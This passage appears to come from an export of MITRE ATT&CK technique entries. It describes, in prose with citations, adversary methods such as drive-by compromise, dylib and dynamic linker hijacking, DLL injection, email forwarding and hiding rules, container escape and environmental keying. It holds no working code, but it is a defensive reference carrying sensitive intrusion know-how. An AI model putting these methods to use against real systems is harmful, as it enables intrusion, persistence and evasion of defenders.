- Built-in web application interfaces are leveraged for the insertion of any other kind of object that can be used to display web content or contain a script that executes on the visiting client (e.g. forum posts, comments, and other user controllable web content).

Often the website used by an adversary is one visited by a specific community, such as government, a particular industry, or region, where the goal is to compromise a specific user or set of users based on a shared interest. This kind of targeted campaign is often referred to a strategic web compromise or watering hole attack. There are several known examples of this occurring.(Citation: Shadowserver Strategic Web Compromise)

Typical drive-by compromise process:

1. A user visits a website that is used to host the adversary controlled content.
2. Scripts automatically execute, typically searching versions of the browser and plugins for a potentially vulnerable version.
- The user may be required to assist in this process by enabling scripting or active website components and ignoring warning dialog boxes.
3. Upon finding a vulnerable version, exploit code is delivered to the browser.
4. If exploitation is successful, then it will give the adversary code execution on the user’s system unless other protections are in place.
- In some cases a second visit to the website after the initial scan is required before exploit code is delivered.

Unlike Exploit Public-Facing Application, the focus of this technique is to exploit software on a client endpoint upon visiting a website. This will commonly give an adversary access to systems on the internal network instead of external systems that may be in a DMZ.

Adversaries may also use compromised websites to deliver a user to a malicious application designed to Steal Application Access Tokens, like OAuth tokens, to gain access to protected applications and information. These malicious applications have been delivered through popups on legitimate websites.(Citation: Volexity OceanLotus Nov 2017)
T1608.004Drive-by TargetAdversaries may prepare an operational environment to infect systems that visit a website over the normal course of browsing. Endpoint systems may be compromised through browsing to adversary controlled sites, as in Drive-by Compromise. In such cases, the user’s web browser is typically targeted for exploitation (often not requiring any extra user interaction once landing on the site), but adversaries may also set up websites for non-exploitation behavior such as Application Access Token. Prior to Drive-by Compromise, adversaries must stage resources needed to deliver that exploit to users who browse to an adversary controlled site. Drive-by content can be staged on adversary controlled infrastructure that has been acquired (Acquire Infrastructure) or previously compromised (Compromise Infrastructure).

Adversaries may upload or inject malicious web content, such as JavaScript, into websites.(Citation: FireEye CFR Watering Hole 2012)(Citation: Gallagher 2015) This may be done in a number of ways, including:

- Inserting malicious scripts into web pages or other user controllable web content such as forum posts
- Modifying script files served to websites from publicly writeable cloud storage buckets
- Crafting malicious web advertisements and purchasing ad space on a website through legitimate ad providers (i.e., Malvertising)

In addition to staging content to exploit a user’s web browser, adversaries may also stage scripting content to profile the user’s browser (as in Gather Victim Host Information) to ensure it is vulnerable prior to attempting exploitation.(Citation: ATT ScanBox)

Websites compromised by an adversary and used to stage a drive-by may be ones visited by a specific community, such as government, a particular industry, or region, where the goal is to compromise a specific user or set of users based on a shared interest. This kind of targeted campaign is referred to a strategic web compromise or watering hole attack.

Adversaries may purchase domains similar to legitimate domains (ex: homoglyphs, typosquatting, different top-level domain, etc.) during acquisition of infrastructure (Domains) to help facilitate Drive-by Compromise.
T1157Dylib HijackingmacOS and OS X use a common method to look for required dynamic libraries (dylib) to load into a program based on search paths. Adversaries can take advantage of ambiguous paths to plant dylibs to gain privilege escalation or persistence.

A common method is to see what dylibs an application uses, then plant a malicious version with the same name higher up in the search path. This typically results in the dylib being in the same folder as the application itself. (Citation: Writing Bad Malware for OSX) (Citation: Malware Persistence on OS X)

If the program is configured to run at a higher privilege level than the current user, then when the dylib is loaded into the application, the dylib will also run at that elevated level. This can be used by adversaries as a privilege escalation technique.
T1574.004Dylib HijackingAdversaries may execute their own payloads by placing a malicious dynamic library (dylib) with an expected name in a path a victim application searches at runtime. The dynamic loader will try to find the dylibs based on the sequential order of the search paths. Paths to dylibs may be prefixed with @rpath, which allows developers to use relative paths to specify an array of search paths used at runtime based on the location of the executable. Additionally, if weak linking is used, such as the LC_LOAD_WEAK_DYLIB function, an application will still execute even if an expected dylib is not present. Weak linking enables developers to run an application on multiple macOS versions as new APIs are added.

Adversaries may gain execution by inserting malicious dylibs with the name of the missing dylib in the identified path.(Citation: Wardle Dylib Hijack Vulnerable Apps)(Citation: Wardle Dylib Hijacking OSX 2015)(Citation: Github EmpireProject HijackScanner)(Citation: Github EmpireProject CreateHijacker Dylib) Dylibs are loaded into an application’s address space allowing the malicious dylib to inherit the application’s privilege level and resources. Based on the application, this could result in privilege escalation and uninhibited network access. This method may also evade detection from security products since the execution is masked under a legitimate process.(Citation: Writing Bad Malware for OSX)(Citation: wardle artofmalware volume1)(Citation: MalwareUnicorn macOS Dylib Injection MachO)
T1027.007Dynamic API ResolutionAdversaries may obfuscate then dynamically resolve API functions called by their malware in order to conceal malicious functionalities and impair defensive analysis. Malware commonly uses various Native API functions provided by the OS to perform various tasks such as those involving processes, files, and other system artifacts.

API functions called by malware may leave static artifacts such as strings in payload files. Defensive analysts may also uncover which functions a binary file may execute via an import address table (IAT) or other structures that help dynamically link calling code to the shared modules that provide functions.(Citation: Huntress API Hash)(Citation: IRED API Hashing)

To avoid static or other defensive analysis, adversaries may use dynamic API resolution to conceal malware characteristics and functionalities. Similar to Software Packing, dynamic API resolution may change file signatures and obfuscate malicious API function calls until they are resolved and invoked during runtime.

Various methods may be used to obfuscate malware calls to API functions. For example, hashes of function names are commonly stored in malware in lieu of literal strings. Malware can use these hashes (or other identifiers) to manually reproduce the linking and loading process using functions such as GetProcAddress() and LoadLibrary(). These hashes/identifiers can also be further obfuscated using encryption or other string manipulation tricks (requiring various forms of Deobfuscate/Decode Files or Information during execution).(Citation: BlackHat API Packers)(Citation: Drakonia HInvoke)(Citation: Huntress API Hash)
T1559.002Dynamic Data ExchangeAdversaries may use Windows Dynamic Data Exchange (DDE) to execute arbitrary commands. DDE is a client-server protocol for one-time and/or continuous inter-process communication (IPC) between applications. Once a link is established, applications can autonomously exchange transactions consisting of strings, warm data links (notifications when a data item changes), hot data links (duplications of changes to a data item), and requests for command execution.

Object Linking and Embedding (OLE), or the ability to link data between documents, was originally implemented through DDE. Despite being superseded by Component Object Model, DDE may be enabled in Windows 10 and most of Microsoft Office 2016 via Registry keys.(Citation: BleepingComputer DDE Disabled in Word Dec 2017)(Citation: Microsoft ADV170021 Dec 2017)(Citation: Microsoft DDE Advisory Nov 2017)

Microsoft Office documents can be poisoned with DDE commands, directly or through embedded files, and used to deliver execution via Phishing campaigns or hosted Web content, avoiding the use of Visual Basic for Applications (VBA) macros.(Citation: SensePost PS DDE May 2016)(Citation: Kettle CSV DDE Aug 2014)(Citation: Enigma Reviving DDE Jan 2018)(Citation: SensePost MacroLess DDE Oct 2017) Similarly, adversaries may infect payloads to execute applications and/or commands on a victim device by way of embedding DDE formulas within a CSV file intended to be opened through a Windows spreadsheet program.(Citation: OWASP CSV Injection)(Citation: CSV Excel Macro Injection )

DDE could also be leveraged by an adversary operating on a compromised machine who does not have direct access to a Command and Scripting Interpreter. DDE execution can be invoked remotely via Remote Services such as Distributed Component Object Model (DCOM).(Citation: Fireeye Hunting COM June 2019)
T1173Dynamic Data ExchangeWindows Dynamic Data Exchange (DDE) is a client-server protocol for one-time and/or continuous inter-process communication (IPC) between applications. Once a link is established, applications can autonomously exchange transactions consisting of strings, warm data links (notifications when a data item changes), hot data links (duplications of changes to a data item), and requests for command execution.

Object Linking and Embedding (OLE), or the ability to link data between documents, was originally implemented through DDE. Despite being superseded by COM, DDE may be enabled in Windows 10 and most of Microsoft Office 2016 via Registry keys. (Citation: BleepingComputer DDE Disabled in Word Dec 2017) (Citation: Microsoft ADV170021 Dec 2017) (Citation: Microsoft DDE Advisory Nov 2017)

Adversaries may use DDE to execute arbitrary commands. Microsoft Office documents can be poisoned with DDE commands (Citation: SensePost PS DDE May 2016) (Citation: Kettle CSV DDE Aug 2014), directly or through embedded files (Citation: Enigma Reviving DDE Jan 2018), and used to deliver execution via phishing campaigns or hosted Web content, avoiding the use of Visual Basic for Applications (VBA) macros. (Citation: SensePost MacroLess DDE Oct 2017) DDE could also be leveraged by an adversary operating on a compromised machine who does not have direct access to command line execution.
T1574.006Dynamic Linker HijackingAdversaries may execute their own malicious payloads by hijacking environment variables the dynamic linker uses to load shared libraries. During the execution preparation phase of a program, the dynamic linker loads specified absolute paths of shared libraries from environment variables and files, such as LD_PRELOAD on Linux or DYLD_INSERT_LIBRARIES on macOS. Libraries specified in environment variables are loaded first, taking precedence over system libraries with the same function name.(Citation: Man LD.SO)(Citation: TLDP Shared Libraries)(Citation: Apple Doco Archive Dynamic Libraries) These variables are often used by developers to debug binaries without needing to recompile, deconflict mapped symbols, and implement custom functions without changing the original library.(Citation: Baeldung LD_PRELOAD)

On Linux and macOS, hijacking dynamic linker variables may grant access to the victim process’s memory, system/network resources, and possibly elevated privileges. This method may also evade detection from security products since the execution is masked under a legitimate process. Adversaries can set environment variables via the command line using the export command, setenv function, or putenv function. Adversaries can also leverage Dynamic Linker Hijacking to export variables in a shell or set variables programmatically using higher level syntax such Python’s os.environ.

On Linux, adversaries may set LD_PRELOAD to point to malicious libraries that match the name of legitimate libraries which are requested by a victim program, causing the operating system to load the adversary’s malicious code upon execution of the victim program. LD_PRELOAD can be set via the environment variable or /etc/ld.so.preload file.(Citation: Man LD.SO)(Citation: TLDP Shared Libraries) Libraries specified by LD_PRELOAD are loaded and mapped into memory by dlopen() and mmap() respectively.(Citation: Code Injection on Linux and macOS)(Citation: Uninformed Needle) (Citation: Phrack halfdead 1997)(Citation: Brown Exploiting Linkers)

On macOS this behavior is conceptually the same as on Linux, differing only in how the macOS dynamic libraries (dyld) is implemented at a lower level. Adversaries can set the DYLD_INSERT_LIBRARIES environment variable to point to malicious libraries containing names of legitimate libraries or functions requested by a victim program.(Citation: TheEvilBit DYLD_INSERT_LIBRARIES)(Citation: Timac DYLD_INSERT_LIBRARIES)(Citation: Gabilondo DYLD_INSERT_LIBRARIES Catalina Bypass)
T1568Dynamic ResolutionAdversaries may dynamically establish connections to command and control infrastructure to evade common detections and remediations. This may be achieved by using malware that shares a common algorithm with the infrastructure the adversary uses to receive the malware’s communications. These calculations can be used to dynamically adjust parameters such as the domain name, IP address, or port number the malware uses for command and control.

Adversaries may use dynamic resolution for the purpose of Fallback Channels. When contact is lost with the primary command and control server malware may employ dynamic resolution as a means to reestablishing command and control.(Citation: Talos CCleanup 2017)(Citation: FireEye POSHSPY April 2017)(Citation: ESET Sednit 2017 Activity)
T1055.001Dynamic-link Library InjectionAdversaries may inject dynamic-link libraries (DLLs) into processes in order to evade process-based defenses as well as possibly elevate privileges. DLL injection is a method of executing arbitrary code in the address space of a separate live process.

DLL injection is commonly performed by writing the path to a DLL in the virtual address space of the target process before loading the DLL by invoking a new thread. The write can be performed with native Windows API calls such as VirtualAllocEx and WriteProcessMemory, then invoked with CreateRemoteThread (which calls the LoadLibrary API responsible for loading the DLL). (Citation: Elastic Process Injection July 2017)

Variations of this method such as reflective DLL injection (writing a self-mapping DLL into a process) and memory module (map DLL when writing into process) overcome the address relocation issue as well as the additional APIs to invoke execution (since these methods load and execute the files in memory by manually preforming the function of LoadLibrary).(Citation: Elastic HuntingNMemory June 2017)(Citation: Elastic Process Injection July 2017)

Another variation of this method, often referred to as Module Stomping/Overloading or DLL Hollowing, may be leveraged to conceal injected code within a process. This method involves loading a legitimate DLL into a remote process then manually overwriting the module’s AddressOfEntryPoint before starting a new thread in the target process.(Citation: Module Stomping for Shellcode Injection) This variation allows attackers to hide malicious injected code by potentially backing its execution with a legitimate DLL file on disk.(Citation: Hiding Malicious Code with Module Stomping)

Running code in the context of another process may allow access to the process’s memory, system/network resources, and possibly elevated privileges. Execution via DLL injection may also evade detection from security products since the execution is masked under a legitimate process.
T1514Elevated Execution with PromptAdversaries may leverage the AuthorizationExecuteWithPrivileges API to escalate privileges by prompting the user for credentials.(Citation: AppleDocs AuthorizationExecuteWithPrivileges) The purpose of this API is to give application developers an easy way to perform operations with root privileges, such as for application installation or updating. This API does not validate that the program requesting root privileges comes from a reputable source or has been maliciously modified. Although this API is deprecated, it still fully functions in the latest releases of macOS. When calling this API, the user will be prompted to enter their credentials but no checks on the origin or integrity of the program are made. The program calling the API may also load world writable files which can be modified to perform malicious behavior with elevated privileges.

Adversaries may abuse AuthorizationExecuteWithPrivileges to obtain root privileges in order to install malicious software on victims and install persistence mechanisms.(Citation: Death by 1000 installers; it’s all broken!)(Citation: Carbon Black Shlayer Feb 2019)(Citation: OSX Coldroot RAT) This technique may be combined with Masquerading to trick the user into granting escalated privileges to malicious code.(Citation: Death by 1000 installers; it’s all broken!)(Citation: Carbon Black Shlayer Feb 2019) This technique has also been shown to work by modifying legitimate programs present on the machine that make use of this API.(Citation: Death by 1000 installers; it’s all broken!)
T1548.004Elevated Execution with PromptAdversaries may leverage the AuthorizationExecuteWithPrivileges API to escalate privileges by prompting the user for credentials.(Citation: AppleDocs AuthorizationExecuteWithPrivileges) The purpose of this API is to give application developers an easy way to perform operations with root privileges, such as for application installation or updating. This API does not validate that the program requesting root privileges comes from a reputable source or has been maliciously modified.

Although this API is deprecated, it still fully functions in the latest releases of macOS. When calling this API, the user will be prompted to enter their credentials but no checks on the origin or integrity of the program are made. The program calling the API may also load world writable files which can be modified to perform malicious behavior with elevated privileges.

Adversaries may abuse AuthorizationExecuteWithPrivileges to obtain root privileges in order to install malicious software on victims and install persistence mechanisms.(Citation: Death by 1000 installers; it’s all broken!)(Citation: Carbon Black Shlayer Feb 2019)(Citation: OSX Coldroot RAT) This technique may be combined with Masquerading to trick the user into granting escalated privileges to malicious code.(Citation: Death by 1000 installers; it’s all broken!)(Citation: Carbon Black Shlayer Feb 2019) This technique has also been shown to work by modifying legitimate programs present on the machine that make use of this API.(Citation: Death by 1000 installers; it’s all broken!)
T1087.003Email AccountAdversaries may attempt to get a listing of email addresses and accounts. Adversaries may try to dump Exchange address lists such as global address lists (GALs).(Citation: Microsoft Exchange Address Lists)

In on-premises Exchange and Exchange Online, theGet-GlobalAddressList PowerShell cmdlet can be used to obtain email addresses and accounts from a domain using an authenticated session.(Citation: Microsoft getglobaladdresslist)(Citation: Black Hills Attacking Exchange MailSniper, 2016)

In Google Workspace, the GAL is shared with Microsoft Outlook users through the Google Workspace Sync for Microsoft Outlook (GWSMO) service. Additionally, the Google Workspace Directory allows for users to get a listing of other users within the organization.(Citation: Google Workspace Global Access List)
T1586.002Email AccountsAdversaries may compromise email accounts that can be used during targeting. Adversaries can use compromised email accounts to further their operations, such as leveraging them to conduct Phishing for InformationPhishing, or large-scale spam email campaigns. Utilizing an existing persona with a compromised email account may engender a level of trust in a potential victim if they have a relationship with, or knowledge of, the compromised persona. Compromised email accounts can also be used in the acquisition of infrastructure (ex: Domains).

A variety of methods exist for compromising email accounts, such as gathering credentials via Phishing for Information, purchasing credentials from third-party sites, brute forcing credentials (ex: password reuse from breach credential dumps), or paying employees, suppliers or business partners for access to credentials.(Citation: AnonHBGary)(Citation: Microsoft DEV-0537) Prior to compromising email accounts, adversaries may conduct Reconnaissance to inform decisions about which accounts to compromise to further their operation. Adversaries may target compromising well-known email accounts or domains from which malicious spam or Phishing emails may evade reputation-based email filtering rules.

Adversaries can use a compromised email account to hijack existing email threads with targets of interest.
T1585.002Email AccountsAdversaries may create email accounts that can be used during targeting. Adversaries can use accounts created with email providers to further their operations, such as leveraging them to conduct Phishing for Information or Phishing.(Citation: Mandiant APT1) Adversaries may also take steps to cultivate a persona around the email account, such as through use of Social Media Accounts, to increase the chance of success of follow-on behaviors. Created email accounts can also be used in the acquisition of infrastructure (ex: Domains).(Citation: Mandiant APT1)

To decrease the chance of physically tying back operations to themselves, adversaries may make use of disposable email services.(Citation: Trend Micro R980 2016)
T1589.002Email AddressesAdversaries may gather email addresses that can be used during targeting. Even if internal instances exist, organizations may have public-facing email infrastructure and addresses for employees.

Adversaries may easily gather email addresses, since they may be readily available and exposed via online or other accessible data sets (ex: Social Media or Search Victim-Owned Websites).(Citation: HackersArise Email)(Citation: CNET Leaks) Email addresses could also be enumerated via more active means (i.e. Active Scanning), such as probing and analyzing responses from authentication services that may reveal valid usernames in a system.(Citation: GrimBlog UsernameEnum) For example, adversaries may be able to enumerate email addresses in Office 365 environments by querying a variety of publicly available API endpoints, such as autodiscover and GetCredentialType.(Citation: GitHub Office 365 User Enumeration)(Citation: Azure Active Directory Reconnaisance)

Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Search Open Websites/Domains or Phishing for Information), establishing operational resources (ex: Email Accounts), and/or initial access (ex: Phishing or Brute Force via External Remote Services).
T1114Email CollectionAdversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
T1114.003Email Forwarding RuleAdversaries may setup email forwarding rules to collect sensitive information. Adversaries may abuse email forwarding rules to monitor the activities of a victim, steal information, and further gain intelligence on the victim or the victim’s organization to use as part of further exploits or operations.(Citation: US-CERT TA18-068A 2018) Furthermore, email forwarding rules can allow adversaries to maintain persistent access to victim’s emails even after compromised credentials are reset by administrators.(Citation: Pfammatter - Hidden Inbox Rules) Most email clients allow users to create inbox rules for various email functions, including forwarding to a different recipient. These rules may be created through a local email application, a web interface, or by command-line interface. Messages can be forwarded to internal or external recipients, and there are no restrictions limiting the extent of this rule. Administrators may also create forwarding rules for user accounts with the same considerations and outcomes.(Citation: Microsoft Tim McMichael Exchange Mail Forwarding 2)(Citation: Mac Forwarding Rules)

Any user or administrator within the organization (or adversary with valid credentials) can create rules to automatically forward all received messages to another recipient, forward emails to different locations based on the sender, and more. Adversaries may also hide the rule by making use of the Microsoft Messaging API (MAPI) to modify the rule properties, making it hidden and not visible from Outlook, OWA or most Exchange Administration tools.(Citation: Pfammatter - Hidden Inbox Rules)

In some environments, administrators may be able to enable email forwarding rules that operate organization-wide rather than on individual inboxes. For example, Microsoft Exchange supports transport rules that evaluate all mail an organization receives against user-specified conditions, then performs a user-specified action on mail that adheres to those conditions.(Citation: Microsoft Mail Flow Rules 2023) Adversaries that abuse such features may be able to enable forwarding on all or specific mail an organization receives.
T1564.008Email Hiding RulesAdversaries may use email rules to hide inbound emails in a compromised user’s mailbox. Many email clients allow users to create inbox rules for various email functions, including moving emails to other folders, marking emails as read, or deleting emails. Rules may be created or modified within email clients or through external features such as the New-InboxRule or Set-InboxRule PowerShell cmdlets on Windows systems.(Citation: Microsoft Inbox Rules)(Citation: MacOS Email Rules)(Citation: Microsoft New-InboxRule)(Citation: Microsoft Set-InboxRule)

Adversaries may utilize email rules within a compromised user’s mailbox to delete and/or move emails to less noticeable folders. Adversaries may do this to hide security alerts, C2 communication, or responses to Internal Spearphishing emails sent from the compromised account.

Any user or administrator within the organization (or adversary with valid credentials) may be able to create rules to automatically move or delete emails. These rules can be abused to impair/delay detection had the email content been immediately seen by a user or defender. Malicious rules commonly filter out emails based on key words (such as malwaresuspiciousphish, and hack) found in message bodies and subject lines. (Citation: Microsoft Cloud App Security)

In some environments, administrators may be able to enable email rules that operate organization-wide rather than on individual inboxes. For example, Microsoft Exchange supports transport rules that evaluate all mail an organization receives against user-specified conditions, then performs a user-specified action on mail that adheres to those conditions.(Citation: Microsoft Mail Flow Rules 2023) Adversaries that abuse such features may be able to automatically modify or delete all emails related to specific topics (such as internal security incident notifications).
T1027.009Embedded PayloadsAdversaries may embed payloads within other files to conceal malicious content from defenses. Otherwise seemingly benign files (such as scripts and executables) may be abused to carry and obfuscate malicious payloads and content. In some cases, embedded payloads may also enable adversaries to Subvert Trust Controls by not impacting execution controls such as digital signatures and notarization tickets.(Citation: Sentinel Labs)

Adversaries may embed payloads in various file formats to hide payloads.(Citation: Microsoft Learn) This is similar to Steganography, though does not involve weaving malicious content into specific bytes and patterns related to legitimate digital media formats.(Citation: GitHub PSImage)

For example, adversaries have been observed embedding payloads within or as an overlay of an otherwise benign binary.(Citation: Securelist Dtrack2) Adversaries have also been observed nesting payloads (such as executables and run-only scripts) inside a file of the same format.(Citation: SentinelLabs reversing run-only applescripts 2021)

Embedded content may also be used as Process Injection payloads used to infect benign system processes.(Citation: Trend Micro) These embedded then injected payloads may be used as part of the modules of malware designed to provide specific features such as encrypting C2 communications in support of an orchestrator module. For example, an embedded module may be injected into default browsers, allowing adversaries to then communicate via the network.(Citation: Malware Analysis Report ComRAT)
T1546.014EmondAdversaries may gain persistence and elevate privileges by executing malicious content triggered by the Event Monitor Daemon (emond). Emond is a Launch Daemon that accepts events from various services, runs them through a simple rules engine, and takes action. The emond binary at /sbin/emond will load any rules from the /etc/emond.d/rules/ directory and take action once an explicitly defined event takes place.

The rule files are in the plist format and define the name, event type, and action to take. Some examples of event types include system startup and user authentication. Examples of actions are to run a system command or send an email. The emond service will not launch if there is no file present in the QueueDirectories path /private/var/db/emondClients, specified in the Launch Daemon configuration file at/System/Library/LaunchDaemons/com.apple.emond.plist.(Citation: xorrior emond Jan 2018)(Citation: magnusviri emond Apr 2016)(Citation: sentinelone macos persist Jun 2019)

Adversaries may abuse this service by writing a rule to execute commands when a defined event occurs, such as system start up or user authentication.(Citation: xorrior emond Jan 2018)(Citation: magnusviri emond Apr 2016)(Citation: sentinelone macos persist Jun 2019) Adversaries may also be able to escalate privileges from administrator to root as the emond service is executed with root privileges by the Launch Daemon service.
T1519EmondAdversaries may use Event Monitor Daemon (emond) to establish persistence by scheduling malicious commands to run on predictable event triggers. Emond is a Launch Daemon that accepts events from various services, runs them through a simple rules engine, and takes action. The emond binary at /sbin/emond will load any rules from the /etc/emond.d/rules/ directory and take action once an explicitly defined event takes place. The rule files are in the plist format and define the name, event type, and action to take. Some examples of event types include system startup and user authentication. Examples of actions are to run a system command or send an email. The emond service will not launch if there is no file present in the QueueDirectories path /private/var/db/emondClients, specified in the Launch Daemon configuration file at/System/Library/LaunchDaemons/com.apple.emond.plist.(Citation: xorrior emond Jan 2018)(Citation: magnusviri emond Apr 2016)(Citation: sentinelone macos persist Jun 2019)

Adversaries may abuse this service by writing a rule to execute commands when a defined event occurs, such as system start up or user authentication.(Citation: xorrior emond Jan 2018)(Citation: magnusviri emond Apr 2016)(Citation: sentinelone macos persist Jun 2019) Adversaries may also be able to escalate privileges from administrator to root as the emond service is executed with root privileges by the Launch Daemon service.
T1589.003Employee NamesAdversaries may gather employee names that can be used during targeting. Employee names be used to derive email addresses as well as to help guide other reconnaissance efforts and/or craft more-believable lures.

Adversaries may easily gather employee names, since they may be readily available and exposed via online or other accessible data sets (ex: Social Media or Search Victim-Owned Websites).(Citation: OPM Leak) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Search Open Websites/Domains or Phishing for Information), establishing operational resources (ex: Compromise Accounts), and/or initial access (ex: Phishing or Valid Accounts).
T1573Encrypted ChannelAdversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
T1499Endpoint Denial of ServiceAdversaries may perform Endpoint Denial of Service (DoS) attacks to degrade or block the availability of services to users. Endpoint DoS can be performed by exhausting the system resources those services are hosted on or exploiting the system to cause a persistent crash condition. Example services include websites, email services, DNS, and web-based applications. Adversaries have been observed conducting DoS attacks for political purposes(Citation: FireEye OpPoisonedHandover February 2016) and to support other malicious activities, including distraction(Citation: FSISAC FraudNetDoS September 2012), hacktivism, and extortion.(Citation: Symantec DDoS October 2014)

An Endpoint DoS denies the availability of a service without saturating the network used to provide access to the service. Adversaries can target various layers of the application stack that is hosted on the system used to provide the service. These layers include the Operating Systems (OS), server applications such as web servers, DNS servers, databases, and the (typically web-based) applications that sit on top of them. Attacking each layer requires different techniques that take advantage of bottlenecks that are unique to the respective components. A DoS attack may be generated by a single system or multiple systems spread across the internet, which is commonly referred to as a distributed DoS (DDoS).

To perform DoS attacks against endpoint resources, several aspects apply to multiple methods, including IP address spoofing and botnets.

Adversaries may use the original IP address of an attacking system, or spoof the source IP address to make the attack traffic more difficult to trace back to the attacking system or to enable reflection. This can increase the difficulty defenders have in defending against the attack by reducing or eliminating the effectiveness of filtering by the source address on network defense devices.

Botnets are commonly used to conduct DDoS attacks against networks and services. Large botnets can generate a significant amount of traffic from systems spread across the global internet. Adversaries may have the resources to build out and control their own botnet infrastructure or may rent time on an existing botnet to conduct an attack. In some of the worst cases for DDoS, so many systems are used to generate requests that each one only needs to send out a small amount of traffic to produce enough volume to exhaust the target’s resources. In such circumstances, distinguishing DDoS traffic from legitimate clients becomes exceedingly difficult. Botnets have been used in some of the most high-profile DDoS attacks, such as the 2012 series of incidents that targeted major US banks.(Citation: USNYAG IranianBotnet March 2016)

In cases where traffic manipulation is used, there may be points in the global network (such as high traffic gateway routers) where packets can be altered and cause legitimate clients to execute code that directs network packets toward a target in high volume. This type of capability was previously used for the purposes of web censorship where client HTTP traffic was modified to include a reference to JavaScript that generated the DDoS code to overwhelm target web servers.(Citation: ArsTechnica Great Firewall of China)

For attacks attempting to saturate the providing network, see Network Denial of Service.
T1480.001Environmental KeyingAdversaries may environmentally key payloads or other features of malware to evade defenses and constraint execution to a specific target environment. Environmental keying uses cryptography to constrain execution or actions based on adversary supplied environment specific conditions that are expected to be present on the target. Environmental keying is an implementation of Execution Guardrails that utilizes cryptographic techniques for deriving encryption/decryption keys from specific types of values in a given computing environment.(Citation: EK Clueless Agents)

Values can be derived from target-specific elements and used to generate a decryption key for an encrypted payload. Target-specific values can be derived from specific network shares, physical devices, software/software versions, files, joined AD domains, system time, and local/external IP addresses.(Citation: Kaspersky Gauss Whitepaper)(Citation: Proofpoint Router Malvertising)(Citation: EK Impeding Malware Analysis)(Citation: Environmental Keyed HTA)(Citation: Ebowla: Genetic Malware) By generating the decryption keys from target-specific environmental values, environmental keying can make sandbox detection, anti-virus detection, crowdsourcing of information, and reverse engineering difficult.(Citation: Kaspersky Gauss Whitepaper)(Citation: Ebowla: Genetic Malware) These difficulties can slow down the incident response process and help adversaries hide their tactics, techniques, and procedures (TTPs).

Similar to Obfuscated Files or Information, adversaries may use environmental keying to help protect their TTPs and evade detection. Environmental keying may be used to deliver an encrypted payload to the target that will use target-specific values to decrypt the payload before execution.(Citation: Kaspersky Gauss Whitepaper)(Citation: EK Impeding Malware Analysis)(Citation: Environmental Keyed HTA)(Citation: Ebowla: Genetic Malware)(Citation: Demiguise Guardrail Router Logo) By utilizing target-specific values to decrypt the payload the adversary can avoid packaging the decryption key with the payload or sending it over a potentially monitored network connection. Depending on the technique for gathering target-specific values, reverse engineering of the encrypted payload can be exceptionally difficult.(Citation: Kaspersky Gauss Whitepaper) This can be used to prevent exposure of capabilities in environments that are not intended to be compromised or operated within.

Like other Execution Guardrails, environmental keying can be used to prevent exposure of capabilities in environments that are not intended to be compromised or operated within. This activity is distinct from typical Virtualization/Sandbox Evasion. While use of Virtualization/Sandbox Evasion may involve checking for known sandbox values and continuing with execution only if there is no match, the use of environmental keying will involve checking for an expected target-specific value that must match for decryption and subsequent execution to be successful.
T1611Escape to HostAdversaries may break out of a container to gain access to the underlying host. This can allow an adversary access to other containerized resources from the host level or to the host itself. In principle, containerized resources should provide a clear separation of application functionality and be isolated from the host environment.(Citation: Docker Overview)

There are multiple ways an adversary may escape to a host environment. Examples include creating a container configured to mount the host’s filesystem using the bind parameter, which allows the adversary to drop payloads and execute control utilities such as cron on the host; utilizing a privileged container to run commands or load a malicious kernel module on the underlying host; or abusing system calls such as unshare and keyctl to escalate privileges and steal secrets.(Citation: Docker Bind Mounts)(Citation: Trend Micro Privileged Container)(Citation: Intezer Doki July 20)(Citation: Container Escape)(Citation: Crowdstrike Kubernetes Container Escape)(Citation: Keyctl-unmask)

Additionally, an adversary may be able to exploit a compromised container with a mounted container management socket, such as docker.sock, to break out of the container via a Container Administration Command.(Citation: Container Escape) Adversaries may also escape via Exploitation for Privilege Escalation, such as exploiting vulnerabilities in global symbolic links in order to access the root directory of a host machine.(Citation: Windows Server Containers Are Open)

Gaining access to the host may provide the adversary with the opportunity to achieve follow-on objectives, such as establishing persistence, moving laterally within the environment, or setting up a command and control channel on the host.
T1585Establish AccountsAdversaries may create and cultivate accounts with services that can be used during targeting. Adversaries can create accounts that can be used to build a persona to further operations. Persona development consists of the development of public information, presence, history and appropriate affiliations. This development could be applied to social media, website, or other publicly available information that could be referenced and scrutinized for legitimacy over the course of an operation using that persona or identity.(Citation: NEWSCASTER2014)(Citation: BlackHatRobinSage)

For operations incorporating social engineering, the utilization of an online persona may be important. These personas may be fictitious or impersonate real people. The persona may exist on a single site or across multiple sites (ex: Facebook, LinkedIn, Twitter, Google, GitHub, Docker Hub, etc.). Establishing a persona may require development of additional documentation to make them seem real. This could include filling out profile information, developing social networks, or incorporating photos.(Citation: NEWSCASTER2014)(Citation: BlackHatRobinSage)

Establishing accounts can also include the creation of accounts with email providers, which may be directly leveraged for Phishing for Information or Phishing.(Citation: Mandiant APT1)
T1546Event Triggered ExecutionAdversaries may establish persistence and/or elevate privileges using system mechanisms that trigger execution based on specific events. Various operating systems have means to monitor and subscribe to events such as logons or other user activity such as running specific applications/binaries. Cloud environments may also support various functions and services that monitor and can be invoked in response to specific cloud events.(Citation: Backdooring an AWS account)(Citation: Varonis Power Automate Data Exfiltration)(Citation: Microsoft DART Case Report 001)

Adversaries may abuse these mechanisms as a means of maintaining persistent access to a victim via repeatedly executing malicious code. After gaining access to a victim system, adversaries may create/modify event triggers to point to malicious content that will be executed whenever the event trigger is invoked.(Citation: FireEye WMI 2015)(Citation: Malware Persistence on OS X)(Citation: amnesia malware)

Since the execution can be proxied by an account with higher permissions, such as SYSTEM or service accounts, an adversary may be able to abuse these triggered execution mechanisms to escalate their privileges.
T1574.005Executable Installer File Permissions WeaknessAdversaries may execute their own malicious payloads by hijacking the binaries used by an installer. These processes may automatically execute specific binaries as part of their functionality or to perform other actions. If the permissions on the file system directory containing a target binary, or permissions on the binary itself, are improperly set, then the target binary may be overwritten with another binary using user-level permissions and executed by the original process. If the original process and thread are running under a higher permissions level, then the replaced binary will also execute under higher-level permissions, which could include SYSTEM.

